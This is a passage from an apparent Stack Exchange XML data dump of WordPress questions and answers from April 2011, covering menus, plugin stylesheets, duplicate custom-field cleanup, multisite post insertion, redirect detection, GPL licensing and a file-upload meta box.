literally):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Home | About | &amp;gt;Movies&amp;lt;&#xA;General | &amp;gt;All Movies&amp;lt; | Rules&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a setting or a plugin that can help me achieve that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, my site is at &lt;a href=&quot;http://roee.co&quot; rel=&quot;nofollow&quot;&gt;http://roee.co&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4927" LastActivityDate="2011-08-28T12:36:10.287" Title="Setting or plugin for showing submenus horizontally under the main menu, and keep them after selection" Tags="&lt;custom-menus&gt;&lt;pages&gt;&lt;menus&gt;" AnswerCount="1" />
  <row Id="15919" PostTypeId="2" ParentId="15918" CreationDate="2011-04-29T09:03:29.193" Score="0" ViewCount="" Body="&lt;p&gt;Roee, there's no particular setting or plugin to do that kind of stuff, it's all about how your theme is designed and developed. You might be able to achieve this using some custom CSS if you're good enough with that. Basically what you have to do is find out the &lt;code&gt;:hover&lt;/code&gt; state of a particular menu and apply the same rules to when the entry has got the &lt;code&gt;current_page_item&lt;/code&gt; class, which WordPress appends when using &lt;code&gt;wp_nav_menu()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2011-04-29T09:03:29.193" CommentCount="1" />
  <row Id="15920" PostTypeId="2" ParentId="10623" CreationDate="2011-04-29T09:47:46.163" Score="0" ViewCount="" Body="&lt;p&gt;Since your posts about blue widgets contain the blue widgets keywords you might as well go with a related posts plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that, the only clean solution I could think of right now is creating a custom shortcode to squeeze in lists of posts that match a certain criteria which you'll pass on to a new WP_Query. Criterias could be post IDs, a search query, a taxonomy query or even a meta query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you need further explanation on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2011-04-29T09:47:46.163" />
  <row Id="15922" PostTypeId="1" CreationDate="2011-04-29T10:28:09.620" Score="0" ViewCount="77" Body="&lt;p&gt;Hopefully it will be an easy question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created Wordpress template and now i would like to use that template for for several pages, however i would like to have different background color on some of the elements such as footer, header etc. that will be depending on parent. So lets say i have PARENT A (green background) and PARENT B (white background) now when i will create child of PARENT A i would like it to have green background automatically I know something similar could be done with posts using&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div class=&quot;post &amp;lt;?php foreach((get_the_category()) as $cat) { echo $cat-&amp;gt;cat_name . ' '; } ?&amp;gt;&quot;&amp;gt; &amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need some advice what would be the best way to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it makes sense, sorry if i made it confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&lt;/p&gt;&#xA;" OwnerUserId="4986" LastActivityDate="2011-04-30T11:56:01.573" Title="changing background color depending on parent page" Tags="&lt;page-template&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="15923" PostTypeId="2" ParentId="15922" CreationDate="2011-04-29T10:51:42.107" Score="0" ViewCount="" Body="&lt;p&gt;You might want to look at &lt;code&gt;$post-&amp;gt;post_parent&lt;/code&gt; having the global &lt;code&gt;$post&lt;/code&gt; inside your loop, based on that you could pick your background color.&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2011-04-29T10:51:42.107" />
  <row Id="15924" PostTypeId="2" ParentId="15903" CreationDate="2011-04-29T11:12:32.427" Score="0" ViewCount="" Body="&lt;p&gt;Slidedeck.com - there's a reason they have a premium version.  It's an awesome slider.&lt;/p&gt;&#xA;" OwnerUserId="4481" LastActivityDate="2011-04-29T11:12:32.427" />
  <row Id="15925" PostTypeId="1" AcceptedAnswerId="15929" CreationDate="2011-04-29T11:20:01.247" Score="0" ViewCount="104" Body="&lt;p&gt;I'm trying to add a stylesheet to the options page for my plugin - code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_styles-rps-paypal', 'rps_paypal_add_css' );&#xA;&#xA;function rps_paypal_add_css() {&#xA;wp_enqueue_style( 'rps_paypal', plugins_url( '/rps_paypal/css/rps-paypal.css' ) );&#xA;}&#xA;&#xA;&#xA;add_action( 'admin_menu', 'rps_myplugin_add_page' );&#xA;&#xA;function rps_myplugin_add_page() {&#xA;add_options_page(&#xA;    'My PayPal Plugin',&#xA;    'My PayPal Plugin',&#xA;    'manage_options',&#xA;    'rps-paypal',&#xA;    'rps_myplugin_option_page'&#xA;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can't figure out why it's not showing up...&lt;/p&gt;&#xA;" OwnerUserId="3430" LastActivityDate="2011-04-29T11:32:48.670" Title="wp_enqueue_style for plugin options page" Tags="&lt;plugins&gt;&lt;wp-enqueue-style&gt;" AnswerCount="2" />
  <row Id="15926" PostTypeId="1" AcceptedAnswerId="15934" CreationDate="2011-04-29T11:25:48.433" Score="0" ViewCount="104" Body="&lt;p&gt;Well my question is quite simple, I would like to populate a field with the value of a variable that have been passed via a $_GET Request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="4988" LastActivityDate="2011-04-29T12:23:55.247" Title="Wordpress Contact Form 7: populate the value of a field dynamically with PHP" Tags="&lt;contact&gt;&lt;contact-form-7&gt;" AnswerCount="2" />
  <row Id="15927" PostTypeId="2" ParentId="15926" CreationDate="2011-04-29T11:30:38.920" Score="0" ViewCount="" Body="&lt;p&gt;You might want to extend the contact form. I don't know how this works nowadays and how the plugin has changed, but I had to do it in the past and I wrote a blog post about it: &lt;a href=&quot;http://kovshenin.com/archives/wordpress-extending-the-contact-form-7-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://kovshenin.com/archives/wordpress-extending-the-contact-form-7-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2011-04-29T11:30:38.920" />
  <row Id="15928" PostTypeId="2" ParentId="15925" CreationDate="2011-04-29T11:32:23.617" Score="1" ViewCount="" Body="&lt;p&gt;First I am not sure you get hook suffix right. It is return of &lt;code&gt;add_options_page()&lt;/code&gt; function and from quick test should be something like &lt;code&gt;admin_page_rps-paypal&lt;/code&gt; in your case. But really you should save that return in the variable and use that rather than hardcode it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second your &lt;code&gt;plugins_url()&lt;/code&gt; usage is little off, your plugin's folder name is not guaranteed to be that. More robust to use it like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;plugins_url('/css/rps-paypal.css', __FILE__);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-29T11:32:23.617" CommentCount="1" />
  <row Id="15929" PostTypeId="2" ParentId="15925" CreationDate="2011-04-29T11:32:48.670" Score="0" ViewCount="" Body="&lt;p&gt;the call to add_options_page will return the string literal to use for your RSS, so it should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page = add_options_page( ... );&#xA;add_action( 'admin_print_styles-' . $page, 'rps_paypal_add_css' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info here: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2011-04-29T11:32:48.670" CommentCount="2" />
  <row Id="15930" PostTypeId="2" ParentId="2866" CreationDate="2011-04-29T11:42:25.040" Score="1" ViewCount="" Body="&lt;p&gt;If you want to delete all the fields, do it directly in the database, or in admin area. But if you'd like to keep one copy of each field, and only delete the duplicates, well, it's a bit more complicated.&#xA;You can delete directly from the database, using an intricate SQL statement like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delete from wp_postmeta&#xA;where meta_id in (&#xA;       select *&#xA;       from (&#xA;               select meta_id&#xA;               from wp_postmeta a&#xA;               where a.meta_key = 'podPressPostSpecific'&#xA;               and meta_id not in (&#xA;                       select min(meta_id)&#xA;                       from wp_postmeta b&#xA;                       where b.post_id = a.post_id&#xA;                       and b.meta_key = 'podPressPostSpecific'&#xA;               )&#xA;       ) as x&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't forget to change name of the meta_key on both places if you want to delete duplicates for another custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can use a php script for this. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    define('WP_USE_THEMES', false);&#xA;    require('wp-blog-header.php');&#xA;&#xA;    define( 'WP_DEBUG_DISPLAY', true ); &#xA;    ini_set( 'display_errors', true );&#xA;    $allposts = get_posts('numberposts=-1&amp;amp;post_type=post&amp;amp;post_status=any');&#xA;    $keys = array('podPressPostSpecific', 'aktt_tweeted', 'podPressMedia');&#xA;    foreach ( $keys as $key ) {&#xA;        foreach( $allposts as $postinfo) {&#xA;            // Fetch array of custom field values&#xA;            $postmeta = get_post_meta($postinfo-&amp;gt;ID, $key);&#xA;&#xA;            if (!empty($postmeta) ) {&#xA;                // Delete the custom field for this post (all occurrences)&#xA;                delete_post_meta($postinfo-&amp;gt;ID, $key);&#xA;&#xA;                // Insert one and only one custom field&#xA;                update_post_meta($postinfo-&amp;gt;ID, $key, $postmeta[0]);&#xA;            }&#xA;        }&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="221" LastActivityDate="2011-04-29T11:42:25.040" />
  <row Id="15931" PostTypeId="2" ParentId="15915" CreationDate="2011-04-29T11:44:59.740" Score="0" ViewCount="" Body="&lt;p&gt;Isaac, I guess this derived from the &lt;code&gt;wp_dropdown_categories()&lt;/code&gt; function which is supposed to work like a filter on a page -- display posts from a certain category or display posts from all categories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;wp_list_categories&lt;/code&gt; does the same but in a list of links instead of a dropdown menu, so it's still intended to &lt;strong&gt;filter&lt;/strong&gt; posts by category, meaning &quot;All categories&quot; will link to posts from all the available categories, which is actually &quot;removing the filter&quot;, thus pointing at your home page or blog page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a page template to display the posts in the fashion you like and link to that page manually, disabling &lt;code&gt;show_option_all&lt;/code&gt; in your function call.&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2011-04-29T11:44:59.740" CommentCount="1" />
  <row Id="15932" PostTypeId="1" CreationDate="2011-04-29T11:54:07.803" Score="1" ViewCount="65" Body="&lt;p&gt;I'm doing some requests to an API via WordPress, and the API uses SSL connections if they're turned on in the API settings. I'd like to determine whether SSL is turned on or off without having to ask the user if SSL is turned on on their account, and the API does a good job at redirecting, meaning&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If I access &lt;a href=&quot;http://api/endpoint&quot;&gt;http://api/endpoint&lt;/a&gt; and SSL is turned on, I'm redirected to &lt;a href=&quot;https://api/endpoint&quot;&gt;https://api/endpoint&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;If I access &lt;a href=&quot;https://api/endpoint&quot;&gt;https://api/endpoint&lt;/a&gt; and SSL is turned off, I'm redirected to &lt;a href=&quot;http://api/endpoint&quot;&gt;http://api/endpoint&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now what I'd like to do is see whether a redirect happened or not and record that to my options so that the other requests are fired to the correct URL without any redirections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: is there a way to determine the final destination after firing a &lt;code&gt;WP_Http-&amp;gt;request()&lt;/code&gt; when the request is being redirected? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see any info about that in the response arrays, I only get to see the final response but I have no idea what URL that came from. What I can do is set the &lt;code&gt;redirection&lt;/code&gt; parameter to 0 and catch the max redirects allowed error, but that's not bullet-proof, since I still don't know whether the redirect happened from http to https or simply another page under http.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this all makes sense, let me know if you have any ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;~ K&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2011-04-29T13:31:22.390" Title="Get the final destination after WP_Http redirects (WordPress)" Tags="&lt;redirect&gt;&lt;http&gt;" AnswerCount="2" />
  <row Id="15933" PostTypeId="1" CreationDate="2011-04-29T12:04:04.127" Score="0" ViewCount="86" Body="&lt;p&gt;I typically download and install plugins via FTP, but I have installed a few from the web interface.  I am trying to move WP from remote to local and I am getting a blank wp-admin screen.  I think its one of my plugins causing the problem.  I have renamed wp-content/plugins to wp-content/_plugins to disable all the plugins in that folder.  But I have plugins installed that do not appear in the plugins folder which I believe are causing this blank wp-admin screen.  Please advise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4929" LastActivityDate="2011-04-29T14:48:53.477" Title="Where are plugins located" Tags="&lt;plugins&gt;&lt;wp-admin&gt;&lt;localhost&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="15934" PostTypeId="2" ParentId="15926" CreationDate="2011-04-29T12:23:55.247" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7-dynamic-text-extension/&quot; rel=&quot;nofollow&quot;&gt;Contact Form 7 Dynamic Text Extension&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-29T12:23:55.247" />
  <row Id="15935" PostTypeId="1" AcceptedAnswerId="15938" CreationDate="2011-04-29T13:00:55.133" Score="0" ViewCount="54" Body="&lt;p&gt;DO you use links in your wordpress and why? Isn't it much easier to use you browser's bookmarks? I don't get the idea of having links at all!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please enlight me!&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2011-04-29T13:21:44.423" Title="Do you use links?" Tags="&lt;links&gt;" AnswerCount="1" />
  <row Id="15936" PostTypeId="2" ParentId="15933" CreationDate="2011-04-29T13:08:18.250" Score="2" ViewCount="" Body="&lt;p&gt;The two directories, where plugins can be located in line with normal mechanics are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;wp-content/plugins&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;wp-content/mu-plugins&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-29T13:08:18.250" />
  <row Id="15937" PostTypeId="2" ParentId="15932" CreationDate="2011-04-29T13:15:30.447" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;wp_remote_head()&lt;/code&gt; request for a test, it should get you response code and redirect target.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-29T13:15:30.447" CommentCount="2" />
  <row Id="15938" PostTypeId="2" ParentId="15935" CreationDate="2011-04-29T13:21:44.423" Score="3" ViewCount="" Body="&lt;p&gt;Links are not supposed to be bookmarks, they are more of a convenient way to integrate links in site. The feature is kinda underused (I think blogrolls it single most common usage for it and seems to start to fade) and so under-appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really there are plenty of stuff you can do with links, for example I wrote a &lt;a href=&quot;http://www.rarst.net/script/wordpress-links/&quot; rel=&quot;nofollow&quot;&gt;post how to use them to display banners&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-29T13:21:44.423" CommentCount="1" />
  <row Id="15939" PostTypeId="1" AcceptedAnswerId="15985" CreationDate="2011-04-29T13:28:05.293" Score="0" ViewCount="138" Body="&lt;p&gt;I'm using Wordpress 3.1.2, and have three blogs in a wordpress network. I would like to change some settings for a specific plugin, but have the changes applied to all the blogs on the network. I can't change plugin settings on the &quot;Network Admin&quot;, and instead have to do it on the &quot;Site Admin&quot; page for each individual blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for the ability to change settings &quot;sitewide&quot; as is done, for example, by &lt;a href=&quot;http://wordpress.org/extend/plugins/yd-wpmu-sitewide-options/&quot; rel=&quot;nofollow&quot;&gt;this outdated plugin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4857" LastEditorUserId="4857" LastEditorDisplayName="" LastEditDate="2011-04-29T18:44:59.660" LastActivityDate="2011-04-29T21:32:44.593" Title="Network-Wide Plugin Settings Management" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;plugin-recommendation&gt;&lt;network&gt;&lt;settings&gt;" AnswerCount="1" />
  <row Id="15940" PostTypeId="2" ParentId="15932" CreationDate="2011-04-29T13:31:22.390" Score="0" ViewCount="" Body="&lt;p&gt;I don't know if i understood you correctly, but there's a &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_ssl&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_ssl()&lt;/code&gt;&lt;/a&gt; conditional tag in wp.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-29T13:31:22.390" />
  <row Id="15941" PostTypeId="2" ParentId="15922" CreationDate="2011-04-29T13:35:53.823" Score="0" ViewCount="" Body="&lt;p&gt;Easy via css if you use the &lt;code&gt;&amp;lt;body &amp;lt;?php body_class(); ?&amp;gt;&amp;gt;&lt;/code&gt; function in your templates. This would give you a class of &lt;code&gt;.page-child&lt;/code&gt; on child-pages that can be easily styled. Simply copy your styles and prefix the definitions with &lt;code&gt;.page-child&lt;/code&gt;. Then re-style them.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-29T13:35:53.823" />
  <row Id="15942" PostTypeId="1" AcceptedAnswerId="15946" CreationDate="2011-04-29T14:00:33.463" Score="2" ViewCount="131" Body="&lt;p&gt;I'm working on a script that will drop articles directly into the wordpress database, using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;wp_insert_posts().&lt;/a&gt; However, I have &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;networking&lt;/a&gt; enabled and the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;wp_insert_post() reference page&lt;/a&gt; has no documentation relating to using wp_insert_post() to upload to a specific site on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this with wp_insert_posts()? Or is their another function which does this? &lt;/p&gt;&#xA;" OwnerUserId="4990" LastEditorUserId="4990" LastEditorDisplayName="" LastEditDate="2011-04-29T14:11:02.830" LastActivityDate="2011-04-29T14:45:17.753" Title="Using wp_insert_post() with Networking enabled" Tags="&lt;network&gt;&lt;wp-insert-post&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="15943" PostTypeId="1" CreationDate="2011-04-29T14:01:44.387" Score="0" ViewCount="389" Body="&lt;p&gt;In my WordPress installation I have 6 pages (pages 1,2,3,4,5,6). What I need is that not every user can read all of the six pages (not posts), but that they also can't access the dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: There are 2 users, User A and User B. When a user logs in, user A only sees page 1, 2 and 3. User B only see page 4, 5 and 6. Users A and B should not have access to the dashboard, so they are &quot;external users&quot;, or &quot;front-end only users&quot;.&lt;/p&gt;&#xA;" OwnerUserId="4991" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-30T06:33:52.547" LastActivityDate="2011-08-29T06:36:24.733" Title="User roles to restrict pages - without access to admin dashboard?" Tags="&lt;wp-admin&gt;&lt;user-roles&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="15944" PostTypeId="2" ParentId="14940" CreationDate="2011-04-29T14:33:32.280" Score="1" ViewCount="" Body="&lt;p&gt;To answer your question you must learn a very important difference: The difference between a software and what you create with a software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The GPL is a copyright license. Copyright can not limit what you produce with a copyrighted software, it can only limit the use of the software (like copying it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's important to know, as humans need to be able to interact with a work (the software), even the interface you're using does not fall under copyright. It's only the software that is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to basically say is that the GPL can not apply to a programs input and output if it is not related to the work itself. The in- and output in your case is your blog-post. It's a work on it's own under copyright (let's assume what you writing falls under copyright) and as you're the author of that work, you can decide freely on your own about the licensing of your texts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's your right no software license based on copyright can keep away from you, that's independent to the GPL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The GPL even clearly states that in it's licensing terms, for example in those GPL licensing terms shipping with Wordpress:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As your blog post is not a work based on wordpress (in the meaning of work and copyright, that's meant legally here), you're free to do whatever you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see as well the GPL FAQ:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.gnu.org/licenses/gpl-faq.html#CanIUseGPLToolsForNF&quot; rel=&quot;nofollow&quot;&gt;Can I use GPL-covered editors such as GNU Emacs to develop non-free programs? Can I use GPL-covered tools such as GCC to compile them?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.gnu.org/licenses/gpl-faq.html#GPLOutput&quot; rel=&quot;nofollow&quot;&gt;Is there some way that I can GPL the output people get from use of my program? For example, if my program is used to develop hardware designs, can I require these these designs must be free?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The GPL only ensures that the software needs to stay free for all of it's users - current and future ones. It's using the copyright to achieve that. And it grants you the freedom to use the software for any purpose, including producing texts not under GPL ;)&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-04-29T14:33:32.280" />
  <row Id="15945" PostTypeId="2" ParentId="324" CreationDate="2011-04-29T14:35:36.053" Score="0" ViewCount="" Body="&lt;p&gt;I use &lt;a href=&quot;http://www.lastcraft.com/fakemail.php&quot; rel=&quot;nofollow&quot;&gt;Fakemail&lt;/a&gt; to test diverse mailing functionality of the software.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-04-29T14:35:36.053" CommunityOwnedDate="2011-04-29T14:35:36.053" />
  <row Id="15946" PostTypeId="2" ParentId="15942" CreationDate="2011-04-29T14:45:17.753" Score="3" ViewCount="" Body="&lt;p&gt;When using function like &lt;code&gt;wp_insert_post()&lt;/code&gt; It will work on the currently active blog, meaning that if you are on a blog in your network with blog_id of 2 the the post you insert using  &lt;code&gt;wp_insert_post()&lt;/code&gt;  will be inserted to that blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you want to insert the post to a specific blog you can use &lt;code&gt;switch to blog()&lt;/code&gt; function which will tell WordPress that &quot;the current blog is&quot; so you can use &lt;code&gt;wp_insert_post()&lt;/code&gt; to insert to that specific blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then to tell WordPress that what is the real current blog you can use &lt;code&gt;restore_current_blog()&lt;/code&gt; so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch to blog($wanted_blog_ID);&#xA;...&#xA;...&#xA;your wp_insert_post() stuff&#xA;...&#xA;...&#xA;restore_current_blog();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;take a look at &lt;a href=&quot;http://codex.wordpress.org/Category%3aWPMU_Functions&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WPMU Functions&lt;/strong&gt;&lt;/a&gt; to understand more about the available functions in a network. &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-29T14:45:17.753" CommentCount="2" />
  <row Id="15947" PostTypeId="1" CreationDate="2011-04-29T14:48:27.337" Score="2" ViewCount="307" Body="&lt;p&gt;im trying to implement uploading via a meta box without using the media manager, but i want it to add as a post attachment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;im currently doing it just uploading and saving to the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&lt;br&gt;&#xA;    &#xA;&#xA;&lt;pre&gt;define(&quot;THUMB_DIR&quot;, WP_CONTENT_DIR . '/plugins/meta-upload/thumbs/'); &#xA;define(&quot;THUMB_URL&quot;, WP_CONTENT_URL . '/plugins/meta-upload/thumbs/'); &#xA;&#xA;// this needs to be implemented&#xA;&#xA;function fileupload( $label ) { ?&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td class=&quot;left_label&quot;&amp;gt; &amp;lt;?php&#xA;        echo $label; ?&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;        &amp;lt;form name=&quot;uploadfile&quot; id=&quot;uploadfile_form&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot; action=&quot;&amp;lt;?php echo $this-&amp;gt;filepath.'#uploadfile'; ?&amp;gt;&quot; accept-charset=&quot;utf-8&quot; &amp;gt;&#xA;            &amp;lt;input type=&quot;file&quot; name=&quot;uploadfiles[]&quot; id=&quot;uploadfiles&quot; size=&quot;35&quot; class=&quot;uploadfiles&quot; /&amp;gt;&#xA;            &amp;lt;input class=&quot;button-primary&quot; type=&quot;submit&quot; name=&quot;uploadfile&quot; id=&quot;uploadfile_btn&quot; value=&quot;Upload&quot;  /&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;  &#xA; &amp;lt;?php&#xA;}&#xA;&#xA;//this needs to be added too&#xA;&#xA;function fileupload_process() { &#xA;$uploadfiles = $_FILES['uploadfiles'];&#xA;&#xA;if (is_array($uploadfiles)) {&#xA;&#xA;    foreach ($uploadfiles['name'] as $key =&amp;gt; $value) {&#xA;&#xA;        // look only for uploded files&#xA;        if ($uploadfiles['error'][$key] == 0) {&#xA;&#xA;            $filetmp = $uploadfiles['tmp_name'][$key];&#xA;&#xA;            //clean filename and extract extension&#xA;            $filename = $uploadfiles['name'][$key];&#xA;&#xA;            // get file info&#xA;            // @fixme: wp checks the file extension....&#xA;            $filetype = wp_check_filetype( basename( $filename ), null );&#xA;            $filetitle = preg_replace('/\.[^.]+$/', '', basename( $filename ) );&#xA;            $filename = $filetitle . '.' . $filetype['ext'];&#xA;            $upload_dir = wp_upload_dir();&#xA;&#xA;            /**&#xA;             * Check if the filename already exist in the directory and rename the&#xA;             * file if necessary&#xA;             */&#xA;            $i = 0;&#xA;            while ( file_exists( $upload_dir['path'] .'/' . $filename ) ) {&#xA;                $filename = $filetitle . '_' . $i . '.' . $filetype['ext'];&#xA;                $i++;&#xA;            }&#xA;            $filedest = $upload_dir['path'] . '/' . $filename;&#xA;&#xA;            /**&#xA;             * Check write permissions&#xA;             */&#xA;            if ( !is_writeable( $upload_dir['path'] ) ) {&#xA;                $this-&amp;gt;msg_e('Unable to write to directory %s. Is this directory writable by the server?');&#xA;                return;&#xA;            }&#xA;&#xA;            /**&#xA;             * Save temporary file to uploads dir&#xA;             */&#xA;            if ( !@move_uploaded_file($filetmp, $filedest) ){&#xA;                $this-&amp;gt;msg_e(&quot;Error, the file $filetmp could not moved to : $filedest &quot;);&#xA;                continue;&#xA;            }&#xA;&#xA;            $attachment = array(&#xA;                'post_mime_type' =&amp;gt; $filetype['type'],&#xA;                'post_title' =&amp;gt; $filetitle,&#xA;                'post_content' =&amp;gt; '',&#xA;                'post_status' =&amp;gt; 'inherit'&#xA;            );&#xA;&#xA;            $attach_id = wp_insert_attachment( $attachment, $filedest );&#xA;            require_once( ABSPATH . &quot;wp-admin&quot; . '/includes/image.php' );&#xA;            $attach_data = wp_generate_attachment_metadata( $attach_id, $filedest );&#xA;            wp_update_attachment_metadata( $attach_id,  $attach_data );&#xA;        }&#xA;    }&#xA;}&#xA;}&#xA;&#xA;add_action('admin_menu', &quot;post_upload_box_init&quot;);&#xA;add_action('save_post', 'post_save_thumb');&#xA;&#xA;function post_upload_box_init() {&#xA;    add_meta_box(&quot;post-thumbnail-posting&quot;, &quot;Dark Toob Thumbnail&quot;, &quot;post_upload_thumbnail&quot;, &quot;post&quot;, &quot;advanced&quot;);&#xA;&#xA;}&#xA;&#xA;function post_upload_thumbnail() {&#xA;    global $post;&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    document.getElementById(&quot;post&quot;).setAttribute(&quot;enctype&quot;,&quot;multipart/form-data&quot;);&#xA;    document.getElementById('post').setAttribute('encoding','multipart/form-data');&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    $thumb = get_post_meta($post-&amp;gt;ID, 'custom_thumbnail',true);&#xA;&#xA;    if ( $thumb 